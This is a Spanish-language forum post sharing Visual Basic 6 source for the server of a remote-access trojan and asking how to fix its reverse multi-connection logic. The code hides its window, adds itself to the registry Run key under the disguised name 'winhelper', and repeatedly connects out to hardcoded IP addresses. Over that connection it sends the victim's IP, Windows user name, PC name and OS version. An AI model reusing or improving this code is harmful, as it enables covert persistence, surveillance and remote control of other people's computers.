Para recrear el error:
1 control winsock llamado server con index 0
2 timers llamados timer1 y timer2 con intervalo de 1100 y 1800 ms respectivamente.
codigo:
Código:
Private Sub Form_Load()
conexiones = 2
currenti = 0
Call Reg_Crea_KeyConValor(&H80000002, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "winhelper", """" & App.Path & "\" & App.EXEName & ".exe" & """") 'escribimos en el registro
Me.Visible = False 'dejamos invisibles el form.
Timer2.Enabled = False 'bloquemos el timer2..
Timer1.Interval = 1750 'ponemos en timer1 a 1750 intervalos.
Timer2.Interval = 1 'ponemos en timer2 a 1 intervalos.
ip(0) = "localhost" 'Definimos la variable IP.
ip(1) = "192.168.1.2"
port = "1452" 'Definimos la variable Port.
Load servidor(1)
servidor(1).RemoteHost = ip(1)
servidor(1).RemotePort = port
If GetStringKey(&H80000002, "SOFTWARE\Microsoft\Windows\CurrentVersion", "iName") = "" Then 'Si no existe la key Trojan_Name asignamos un nombre predeterminado.
Server_Name = "No Definido" 'Definimos varible.
Else 'Si no
Server_Name = GetStringKey(&H80000002, "SOFTWARE\Microsoft\Windows\CurrentVersion", "iName") 'Leemos la key.
End If 'cerramos el if
Version = "jServ 0.2" 'Definimos la variable Versión.
End Sub
Private Sub Timer1_Timer()
On Error Resume Next 'Si hay algún error salta a la siguiente línea.
If servidor(0).State <> 7 Then 'Si estas descontado.
servidor(0).Close 'Cerramos la conexión.
servidor(0).Connect ip(0), port '
Timer2.Enabled = True
Else
End If
If servidor(1).State <> 7 Then 'Si estas descontado.
servidor(1).Close 'Cerramos la conexión.
servidor(1).Connect ip(1), port '
Timer2.Enabled = True
Else
End If
End Sub
Private Sub Timer2_Timer()
On Error Resume Next 'Si hay algún error salta a la siguiente línea.
If servidor(0).State = 7 Then 'Si estas Conectado.
servidor(0).SendData "Conexion|" & Server_Name & "|" & servidor(0).LocalIP & "|" & Usuario_Windows & "|" & PC_Name & "|" & winversion & "|" & Version 'Enviamos el paquete de conexión.
Timer2.Enabled = False 'Bloque
End If
If servidor(1).State = 7 Then 'Si estas Conectado.
servidor(1).SendData "Conexion|" & Server_Name & "|" & servidor(1).LocalIP & "|" & Usuario_Windows & "|" & PC_Name & "|" & winversion & "|" & Version 'Enviamos el paquete de conexión.
Timer2.Enabled = False 'Bloque
End If
End Sub
La mayoría del código es de no sé quien pero yo también he hecho cositas... Necesito multiconexión inversa pero no se como hacer que no se piense que está desconectado... ya que cada 1800 milisegundos me manda esta cadena: ""Conexion|" & Server_Name & "|" & servidor(1).LocalIP & "|" & Usuario_Windows & "|" & PC_Name & "|" & winversion & "|" & Version" que supuestamente se tendría que mandar sólo una vez, por que se autobloquea. Pero el timer1 lo reactiva si piensa que está desconectado... no sé que hacer
toda ayuda será agradecida
Un saludo